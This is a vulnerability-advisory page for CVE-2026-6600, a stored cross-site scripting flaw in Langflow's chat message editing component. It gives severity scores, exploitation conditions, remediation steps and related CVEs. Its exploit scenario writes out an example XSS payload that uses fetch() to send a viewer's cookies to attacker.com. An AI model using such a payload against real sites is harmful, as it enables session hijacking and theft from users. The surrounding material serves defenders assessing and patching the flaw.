Skip to main content

Langflow CVE-2026-6600

| EUVDEUVD-2026-23764 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulDB
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to langflow instance
  2. Delivery
    Locate editable chat message
  3. Exploit
    Inject XSS payload into message edit form
  4. Install
    Submit malicious message update
  5. C2
    Victim views edited message in UI
  6. Execute
    Browser executes embedded JavaScript
  7. Impact
    Attacker exfiltrates session token or sensitive data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be authenticated to the langflow instance with permission to edit at least one chat message (specific edit permission level not detailed in available data). The victim must be an authenticated user in the same langflow workspace or chat session who views the attacker's manipulated message in the UI. The edit-message.tsx React component must render the message content without proper HTML entity encoding or DOM-based XSS prevention. No special configuration or non-default setup is required; the vulnerability exists in the standard frontend rendering pipeline. Exploitation is NOT possible by unauthenticated attackers or against default read-only configurations, but the combination of a Web-accessible UI and multi-user authentication model means any authenticated insider or compromised account becomes a vector.

Impact

CVSS 3.5 (low severity) reflects constrained attack surface: network vector but requiring authenticated access (PR:L), user interaction to trigger (UI:R), and low impact (integrity only, no confidentiality or availability loss). However, CVSS does not fully capture real-world risk in this context. The E:P rating (exploit proof-of-concept published) and publicly available exploit code lower the barrier to exploitation. KEV status is not provided, suggesting no confirmed active exploitation by CISA to date, but the published POC and unresponsive vendor increase practical risk within environments where langflow is actively used. The primary risk vector is insider or low-privilege user compromise (e.g., a compromised account or malicious team member) executing XSS against other authenticated users to steal session tokens, API keys, or sensitive data visible in the UI. Organizations relying on langflow in multi-user environments (team deployments) should treat this as moderate priority for patching, as the combination of published exploit, unresponsive vendor, and multi-user targeting potential elevates risk beyond the base CVSS score. MISSING DATA: No vendor patch version is confirmed; no CISA KEV listing; no EPSS score provided to assess baseline exploitation probability.

Exploit ScenarioDerived

An authenticated attacker (team member with access to langflow) crafts a chat message containing a malicious script payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?token='+document.cookie)">) and submits it as a message edit. When another authenticated user views the edited message in the chat interface, the browser executes the embedded script, exfiltrating the viewer's session token or API key to the attacker's server. The attacker then uses the stolen token to impersonate the victim user and access sensitive workflow data or integrations within langflow.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 20, 2026

Stored cross-site scripting (XSS) in langflow-ai langflow up to version 1.8.3 allows authenticated users to inject malicious scripts into chat messages via the edit-message component, which are then executed in the browsers of other users viewing the manipulated message. The vulnerability requires user interaction (recipient must view the crafted message) and authenticated access, limiting scope to users within a langflow instance, but publicly available exploit code exists and the vendor has not responded to early disclosure.

RemediationAI

Upgrade langflow to a patched version greater than 1.8.3 immediately; however, no vendor-released patch version has been confirmed in available data, and the vendor has not responded to disclosure. As an interim compensating control, implement network-level Content Security Policy (CSP) headers on the langflow instance to disable inline script execution and restrict script sources to trusted domains only - this will break XSS payload execution even if injected but may impact legitimate React functionality requiring evaluation. Additionally, restrict chat message editing capabilities to specific roles and audit message modifications for suspicious content. If multi-user collaboration is not required, disable message editing entirely or limit edit access to administrators only. Monitor for indicators of compromise: check for unusual JavaScript execution in browser console during chat use, review authentication logs for token theft or unauthorized access, and inspect local storage/cookies for exfiltration. Note that these controls do not eliminate the underlying vulnerability but reduce exploitability window until patched. Contact langflow-ai for patch availability or consider migrating to an alternative if the vendor continues non-response.

Affected VersionsENISA

langflow 1.8.1
langflow 1.8.0
langflow 1.8.2
langflow 1.8.3

Affected Packages

euvd langflow no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in a React frontend component (edit-message.tsx) responsible for rendering and editing chat messages in langflow's UI. The underlying issue is improper input sanitization when processing user-controlled chat message content, violating CWE-79 (Improper Neutralization of Input During Web Page Generation). React components rendering user input without proper escaping or Content Security Policy enforcement allow injected HTML/JavaScript to execute in the context of other authenticated users' browsers. The affected product is langflow-ai langflow, an open-source flow-based language model orchestration platform, with versions up to 1.8.3 vulnerable. The attack vector is network-based exploitation of the frontend UI, requiring the attacker to already be authenticated to the langflow instance and manipulate a message they have permission to edit.

Know when Langflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:12 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:12 NVD
5.1 (MEDIUM) 2.0 (LOW)
PoC Detected
Apr 29, 2026 - 01:00 vuln.today
Public exploit code
Severity Changed
Apr 20, 2026 - 04:22 NVD
LOW MEDIUM
CVSS changed
Apr 20, 2026 - 04:22 NVD
3.5 (LOW) 5.1 (MEDIUM)
CVE Published
Apr 20, 2026 - 03:15 nvd
LOW 2.0

DescriptionCVE.org

A flaw has been found in langflow-ai langflow up to 1.8.3. This affects an unknown function of the file src/frontend/src/modals/IOModal/components/chatView/chatMessage/components/edit-message.tsx of the component Frontend React Component Rendering. Executing a manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-3248 CRITICAL POC
9.8 Apr 07

Langflow before 1.3.0 allows unauthenticated remote code injection through the /api/v1/validate/code endpoint, enabling

CVE-2026-0770 CRITICAL POC
9.8 Jan 23

Langflow has a third RCE vulnerability via exec_globals (EPSS 10.0%) allowing inclusion of untrusted code that executes

CVE-2025-34291 CRITICAL POC
9.4 Dec 05

Account takeover and remote code execution in Langflow AI workflow platform versions ≤1.6.9 due to a CORS misconfigurati

CVE-2026-0768 CRITICAL POC
9.8 Jan 23

Langflow has a code injection vulnerability in the code component (EPSS 2.6%) enabling remote code execution through the

CVE-2026-0769 CRITICAL POC
9.8 Jan 23

Langflow has an eval injection in eval_custom_component_code (EPSS 2.0%) enabling remote code execution through crafted

CVE-2026-10134 CRITICAL POC
10.0 Jun 30

Remote code execution in IBM Langflow OSS 1.0.0 through 1.9.3 lets an unauthenticated attacker inject and run arbitrary

CVE-2026-27966 CRITICAL POC
9.8 Feb 26

Code injection in Langflow CSV Agent node before 1.8.0. The node hardcodes allow_dangerous_code=True, enabling arbitrary

CVE-2024-37014 CRITICAL POC
9.8 Jun 10

Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_compo

CVE-2026-105697 CRITICAL POC
9.9 Oct 05

OS command injection in Langflow's MCP stdio transport allows an attacker who can reach the MCP server configuration end

CVE-2024-48061 CRITICAL POC
9.8 Nov 04

langflow <=1.0.18 is vulnerable to Remote Code Execution (RCE) as any component provided the code functionality and the

CVE-2024-42835 CRITICAL POC
9.8 Oct 31

langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.

CVE-2026-21445 CRITICAL POC
9.1 Jan 02

Langflow before 1.7.0.dev45 exposes multiple API endpoints without authentication, allowing unauthenticated access to us

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy